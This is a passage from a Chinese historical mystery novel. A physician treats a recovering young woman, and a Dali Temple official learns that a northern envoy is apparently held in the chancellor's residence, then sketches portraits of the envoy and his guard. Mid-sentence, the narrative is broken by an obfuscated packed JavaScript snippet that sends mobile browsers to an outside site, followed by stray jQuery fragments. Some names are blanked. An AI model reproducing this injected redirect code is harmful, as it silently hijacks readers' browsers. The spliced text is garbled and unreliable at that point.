吴昭音挟着鼓囊囊的药包,侧身轻推开那扇吱呀作响的半掩堂门。一股裹挟着初春夜露的清冽空气,瞬间涌入堂屋,驱散了室内的些许药香与炭气。
“小姐回来啦!”珠儿清亮的嗓音响起,她脚步轻快地迎至门边,熟稔地接过吴昭音手中的药包。
“待会儿准备一下,”吴昭音随口吩咐道,“我要用这方子炼膏药。”
“是。”珠儿应着,捧着草药转身转入后厨。
吴昭音解下沾着寒气的斗篷,掀开霜色的面纱,目光扫过屋内,便不由自主地定在了那抹熟悉的身影上,几乎是下意识地开口道:“苏大人也来了。”那声音比平日似乎松快了些许,带着连她自己都未全然察觉的细微波澜。
苏彦清看着她微笑地点点头。
然而,话音未落,她眼角的余光便瞥见了内屋榻上的动静。视线立刻从苏彦清身上移开,转向内室。此刻佟慧娘已然苏醒,正虚弱地靠坐着,脸色依旧苍白,眼神带着初醒的迷茫。
吴昭音见状三两步便走到榻边,脸上漾着笑意道:“你终于醒了。”她倾身向前,动作轻柔却带着不容置疑的关切,温声道:“快别动,让我看看。”
说着,她已在榻沿坐下,三指精准地搭上了佟慧娘的手腕。指腹下传来的脉搏虽仍显细弱,却比之前昏迷时平稳有力了许多。
吴昭音把脉时,倚在榻上的佟慧娘一直若有所思地将目光停留在她脸上。佟慧娘秀气的眉头微微蹙起,眼中掠过一丝困惑与追忆。这位吴姑娘……为何让她觉得有几分说不清道不明的熟悉感?那眉眼的轮廓,尤其是侧脸的线条……竟隐隐与她已逝的姐姐默娘有几分相似!这个念头让她心头一颤。但细细看去,又觉不同。吴昭音的面容更为精致,肌肤胜雪,鼻梁挺秀,尤其那双眼睛,清澈明亮中带着一种坚韧不拔的英气,是默娘那温婉柔顺的气质所不及的。而且……默娘的左眼下方,靠近颧骨的位置,有一颗小小的、颜色很浅的褐色泪痣,而眼前的吴姑娘,肌肤光洁无瑕,并无此痣……
吴昭音凝神细诊了片刻,紧蹙的眉心终于稍稍舒展,一丝欣慰的笑意染上她的唇角,“脉象比先前稳当多了,是好些了。”她收回手,抬眼看向佟慧娘,眼神温和而坚定,“但气血亏虚,元气未复,筋骨也需静养。佟姑娘,万不可急着下床走动。”她的语气温和,却带着不容置辩的力度,一边说,一边自然地替佟慧娘掖了掖被角,动作细致体贴。“需得再静养些时日,待根基稳固了再说。药我已备好,稍后便煎上。”
“多谢吴姑娘。”佟慧娘拼着劲儿躬身谢了一句。又道,“昨日恍惚中听得姑娘唤我名姓,心中甚是疑惑,不知姑娘如何识得慧娘?”
不待吴昭音开口,一旁的刘凌风插话道:“你可还记得上元节那夜,严甫申命人掳走的那位姑娘?”
佟慧娘闻言,眼中顿时一亮,看向吴昭音:“原来竟是姑娘!”
吴昭音莞尔:“重逢即是缘份。不知佟姑娘芳龄几何,生肖属相是?”
“辰年生人。”佟慧娘亦含笑作答。
“哎呀,”吴昭音眉眼弯弯,笑意更浓,“如此说来,昭音该唤一声姐姐了!妹妹肖马。”
两人相视而笑,一时间暖意融融。
谈笑间,吴昭音目光掠过一旁的苏彦清,忽然正色道:“苏大人来得正好。眼下有件要紧事,恐怕还需借重大理寺之力。”
“哦?但说无妨。”苏彦清敛起恍惚,神色一正。
吴昭音看向面带忧色的刘凌风,继续道:“刘公子的恩师,杜怀安先生,大人可认得?”
苏彦清略一沉吟,道:“可是那位通晓蒙语的恩和先生?他是你的师父?”他忆起先前在槐树下隐约听到“恩师”二字,原是指杜怀安。
“正是。恩和乃是他的突厥名。”刘凌风朗声应道。
苏彦清点点头,便道:“你师父祖上本是往来中原与塞北的商贾之家,其母乃蒙古旧贵之女。是以他幼年长于江南,饱读诗书,深谙汉家文化,亦通晓蒙古习俗。”刘凌风颔首称是,续道:“他此番入京,是以突厥使臣身份而来,身负议和重任,携有孛儿只斤可汗亲笔国书与信物。”
此言一出,苏彦清的眼神骤然锐利道:“使臣抵京?怎地近来未闻半点风声?”
吴昭音叹了口气,沉声道:“这位杜使者甫一入京,便被严相以‘隆重接待’之名,由其爪牙户部侍郎卢知年亲自接入丞相府邸。自此之后,便如泥牛入海,再无半点音讯传出!依我看,这使者并非被礼遇,而是被严相私自扣押了!大理寺消息灵通,耳目遍布京城,苏大人,能否……帮忙留意一二?”
一旁的刘凌风闻言,脸上忧色更重,忍不住一拳砸在身旁的石桌上,发出沉闷的声响,声音里充满了焦灼与无力:“吴姑娘所言极是!我已在那相府周围暗伏蹲守了整整六日!不敢有丝毫懈怠!可恨那相府与之前比起来更是守备森严,莫说我恩师的踪迹,便是连一丝异常的风声都探听不到!师傅他……他究竟被关在何处?是生是死?”说到最后,他的声音竟带上了一分嘶哑的哽咽。
苏彦清听完吴昭音和刘凌风的陈述,面色凝重,他转向刘凌风,目光如炬道:“刘公子,你如何能断定,杜先生此刻一定就在相府之内?严相老奸巨猾,会不会将其转移他处藏匿?”
刘凌风深吸一口气,斩钉截铁道:“月前,恩师作为使者抵京,入城时曾派人给我送过密信,告知行程与下榻之处。信中明确提及,按惯例,外使本该入住国宾馆,但严相却以‘机密要务相商、确保安全’为由,派其亲信将整个使者队伍引入了丞相府邸!自那日进入相府大门之后,便再未有任何公开露面!我多方打探,国宾馆那边也确认从未接待过北疆使团!若非囚禁于相府,严贼何需如此鬼祟,公然破坏邦交惯例?”
苏彦清微微颔首,刘凌风所言确实切中要害。“严甫明罔顾邦交礼制,私自扣押外使于私邸,此举已属大逆不道!”他沉声道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771031|174476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼中寒光闪烁。随即,他追问道:“杜先生使团由何人组成?尤其是先生本人及其主要随从,有何显著形貌特征?愈详尽愈好!”
刘凌风精神一振,立刻仔细回忆道:“在下所识唯有两人。除却恩师杜怀安,便是护卫□□。那年南北战乱,恩师的家族商队被突厥骑兵掳掠北迁。因其才华横溢,深得孛儿只斤可汗赏识,被收为幕僚。恩师亲历战乱之苦,深知战争对两族百姓皆是浩劫。此次出使,便是他主动请缨,携带着突厥可汗的亲笔国书,以及一枚象征和平与盟誓的白玉鹰佩。此佩形制独特,鹰身雕工融合南北技艺,左半边是中原细腻流畅的镂空技法,右半边则饰以北疆粗犷神秘的狼首云纹。”
他顿了顿,继续道:“另一位是恩师的贴身护卫,名为‘□□’。此人则是纯粹的突厥勇士,据说是可汗的亲卫队长出身。但他……不通汉语,性情也较为耿直刚烈。”
“白玉鹰佩,融合雕工……不通汉语的勇士□□……”吴昭音低声重复着关键信息,大脑飞速运转。
苏彦清目光转向吴昭音,语气果断:“吴姑娘,烦请取笔墨纸砚来。”
吴昭音立刻会意,转身快步走入内室,片刻便捧着一套笔墨和几张上好的宣纸返回,置于院中石桌之上。珠儿机灵地端来一盏更亮的油灯。
苏彦清挽起衣袖,亲自研墨。墨香在微凉的夜风中散开。他提笔蘸墨,看向刘凌风:“刘公子,请仔细描述杜先生与□□的相貌特征、衣着习惯,以及那枚玉佩的具体形制细节。越细致越好。”
刘凌风不敢怠慢,凝神回忆,开始详细描述:
“恩师杜怀安,年约四十许,身量中等偏瘦,气质儒雅,面容清癯。眉形疏朗,眼角有细微笑纹,鼻梁高挺,唇薄而色淡。常作中原文士打扮,喜着素色或藏青直裰,头戴同色方巾……他左手拇指戴着一枚墨玉扳指,乃其父遗物。至于那白玉鹰佩,约掌心大小,玉质温润,白中透青。鹰首高昂,目光锐利,左翅羽毛纹理细腻如生,是典型的中原苏工;右翅及鹰身则布满粗犷的卷草狼纹,充满北疆风格。佩身下方有一圆形榫卯结构,似可与其他部件相合。”
“□□,体型异常魁梧,肩宽背厚,犹如铁塔。方脸阔口,肤色黝黑如古铜,颧骨高耸,眼窝深陷,鼻梁如刀劈斧凿般高直。短发虬髯,常穿武士皮袄与长裤,腰束宽阔的牛皮鞶带,斜挎弯刀。左脸颊靠近耳根处,有一道寸许长的旧刀疤,乃早年护主所留。
随着刘凌风清晰而具体的描述,苏彦清手中的笔在宣纸上飞快游走。他运笔如飞,时而勾勒轮廓,时而细描五官,时而皴擦阴影。
油灯的光芒跳跃着,映照着苏彦清专注的侧脸和笔下逐渐清晰的人像。吴昭音、刘凌风、珠儿,甚至佟慧娘都屏息凝神,目光紧紧追随着那笔尖。寂静的庭院里,只剩下毛笔划过宣纸的沙沙声,以及刘凌风低沉而清晰的描述。两张栩栩如生的人物肖像,连同那枚至关重要的玉佩图样,在苏彦清笔下渐渐成形……